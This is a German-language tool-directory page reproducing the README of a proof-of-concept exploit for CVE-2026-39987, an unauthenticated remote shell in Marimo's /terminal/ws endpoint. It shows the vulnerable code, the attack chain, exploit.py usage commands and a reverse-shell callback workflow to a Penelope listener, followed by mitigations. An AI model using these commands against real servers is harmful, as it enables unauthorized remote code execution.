Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
CVE-2026-39987 — Marimo-Exploit vor Version 0.23.0. Pre-Auth-RCE-Schwachstelle über den Websocket-Endpunkt: /terminal/ws. | Kitploit
Tools/GitHubGitHub/gbuyssens/cve-2026-39987
Payload-GenerierungExploitationWebanwendungs-ExploitationPost-ExploitationPenetrationstestsRemote-Access-Tool
GitHubgbuyssens/cve-2026-39987

CVE-2026-39987

Marimo-Exploit vor Version 0.23.0. Pre-Auth-RCE-Schwachstelle über den Websocket-Endpunkt: /terminal/ws.

Repository anzeigen
vor 18 TagenNoch nicht geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen

CVE-2026-39987 — Marimo Pre-Auth RCE (/terminal/ws)

root@kitploit:~
CVSS 4.0 : 9.3 CRITICAL
CVSS 3.x : 9.8 CRITICAL
CWE      : CWE-306 (Missing Authentication for Critical Function)
Fix      : Marimo 0.23.0+
Affects  : Marimo <= 0.20.4 (all builds prior to the auth fix)

Nicht authentifizierte Remote Code Execution in Marimo, einem reaktiven Python-Notebook-Server.
Eine einzelne unauthentifizierte WebSocket-Verbindung zu /terminal/ws liefert eine vollständige interaktive PTY-Shell als der Benutzer, der den Marimo-Prozess ausführt (häufig root in Docker).

Nur für Labore / autorisierte Tests (HTB, CTF, Aufträge mit schriftlich festgelegtem Umfang).


Inhaltsverzeichnis

  • Zusammenfassung der Schwachstelle
  • Grundursache
  • Angriffskette
  • Betroffene Versionen
  • Dieses Repository
  • Installation
  • Verwendung
  • Penelope-Integration
  • Gegenmaßnahmen
  • Referenzen

Zusammenfassung der Schwachstelle

Marimo stellt ein integriertes Terminal über WebSocket bereit unter:

root@kitploit:~
ws://<host>:<port>/terminal/ws
wss://<host>/terminal/ws

Andere WebSocket-Routen (insbesondere /ws für die Notebook-UI) rufen korrekt validate_auth() auf.
/terminal/ws tut das nicht. Es prüft nur:

  1. Der Server befindet sich im Edit-Modus
  2. Die Plattform unterstützt ein PTY

und dann sofort:

root@kitploit:~
await websocket.accept()
child_pid, fd = pty.fork()   # full system shell

Es ist kein Cookie, Token, Passwort oder Authorization-Header erforderlich — selbst wenn die Authentifizierung auf der Instanz aktiviert ist.

Auswirkungen: nicht authentifizierte, beliebige Befehlsausführung mit den Rechten des Marimo-Prozesses. In Standard-Container-Images ist das häufig root.


Grundursache

Datei (verwundbarer Quellcodebaum): marimo/_server/api/endpoints/terminal.py

root@kitploit:~
@router.websocket("/ws")
async def websocket_endpoint(websocket: WebSocket) -> None:
    app_state = AppState(websocket)
    if app_state.mode != SessionMode.EDIT:
        await websocket.close(...)
        return
    if not supports_terminal():
        await websocket.close(...)
        return
    # <<< no validate_auth() / @requires("edit") >>>
    await websocket.accept()
    child_pid, fd = pty.fork()
    # ... bridge WebSocket <-> PTY ...

Vergleiche mit dem Notebook-WebSocket (ws_endpoint.py), das die Authentifizierung erzwingt:

root@kitploit:~
validator = WebSocketConnectionValidator(websocket, app_state)
if not await validator.validate_auth():
    return

Angriffskette

root@kitploit:~
 Attacker                         Marimo (edit mode)
    |                                    |
    |  WS upgrade /terminal/ws           |
    |----------------------------------->|
    |  101 Switching Protocols           |
    |  (no auth challenge)               |
    |<-----------------------------------|
    |                                    |  pty.fork() → /bin/bash
    |  "id\n"                            |
    |----------------------------------->|
    |  uid=1000(marimo) ...              |
    |<-----------------------------------|
    |  persistent reverse shell          |
    |----------------------------------->|
    |         <======== TCP shell =======|
  1. Verbinde dich ohne Anmeldedaten mit ws(s)://target/terminal/ws
  2. Der Server akzeptiert und startet eine PTY-gestützte Shell
  3. Sende Tastatureingaben (Befehle) über das WebSocket
  4. Optional eine abgekoppelte Reverse-Shell starten, die das Schließen der WebSocket-Verbindung überlebt

Betroffene Versionen

StatusVersions
VerwundbarMarimo <= 0.20.4 (vor dem Fix)
BehobenMarimo 0.23.0 und später

Jede Bereitstellung, die das Terminal-WebSocket (Edit-Modus, PTY unterstützt) ohne externes Auth-Gateway exponiert, ist betroffen.


Dieses Repository

DateiRolle
exploit.pyPoC: Befehlsausführung + persistente Reverse-Shell + Penelope-Starter
penelope.pyStandalone-Shell-Handler (brightio/penelope)
README.md

Installation

root@kitploit:~
git clone <this-repo> CVE-2026-39987
cd CVE-2026-39987
chmod +x exploit.py penelope.py

penelope.py benötigt keine zusätzlichen Abhängigkeiten (Python-3.6+-Standardbibliothek).


Verwendung

1. Einmalige Befehlsausführung

root@kitploit:~
python3 exploit.py https://example.lab "id"
python3 exploit.py https://example.lab  -p
python3 exploit.py wss://example.lab/terminal/ws "whoami"

Was passiert:

  1. Ein geforktes Kind wartet kurz und liefert dann eine abgekoppelte Reverse-Shell über /terminal/ws
  2. Der Elternprozess führt per exec Penelope auf 0.0.0.0:4444 aus
  3. Wenn der Callback eintrifft, verbindet sich Penelope automatisch und führt ein Session-Upgrade durch

Falls nötig

root@kitploit:~
python3 exploit.py -h

Penelope-Integration

Penelope wird als eigenständiges Skript (penelope.py) mitgeliefert:

  • keine Installation, nur Standardbibliothek
  • Multi-Session-Handler
  • automatisches TTY-Upgrade
  • Datei-Upload/-Download, Logging usw.

Standardablauf (-p):

root@kitploit:~
exploit.py
   ├── fork child ──delay──► WS /terminal/ws ──► setsid/nohup revshell
   │
   └── exec ► penelope.py <PORT> -i 0.0.0.0
                    ▲
                    │ TCP callback
                    └── victim

Das Kind wird absichtlich verwendet: os.execv(penelope) ersetzt das Prozessabbild des Elternprozesses, was einen Hintergrund-Thread töten würde.

Manuelles Penelope:

root@kitploit:~
python3 penelope.py 4444
python3 penelope.py 4444 -i 0.0.0.0
python3 penelope.py -a          # show sample payloads for active listeners

Gegenmaßnahmen

  1. Upgrade auf Marimo >= 0.23.0 (pip install -U marimo)
  2. Setze Edit-Modus-Notebook-Server nicht dem öffentlichen Internet aus
  3. Setze authn/authz an einem Reverse-Proxy um, wenn die Anwendung remote erreichbar sein muss
  4. Binde an localhost / privates Netz; nutze VPN oder SSH-Tunnel
  5. Nach vermuteter Ausnutzung: rotiere die vom Host aus erreichbaren Anmeldedaten (Cloud-Keys, .env, SSH-Schlüssel), prüfe ausgehende Verbindungen und Persistenz

Referenzen

  • NVD — CVE-2026-39987
  • GHSA-2679-6mx9-h9xc
  • Marimo Fix PR #9098
  • Resecurity-Analyse
  • Penelope-Shell-Handler

Haftungsausschluss

Dieses Projekt dient ausschließlich autorisierten Sicherheitstests, der Ausbildung und defensiver Forschung.
Du bist dafür verantwortlich, geltende Gesetze sowie die Einsatzregeln (Rules of Engagement) deines Labors oder Kunden einzuhalten.

Tool herunterladen
Diese Datei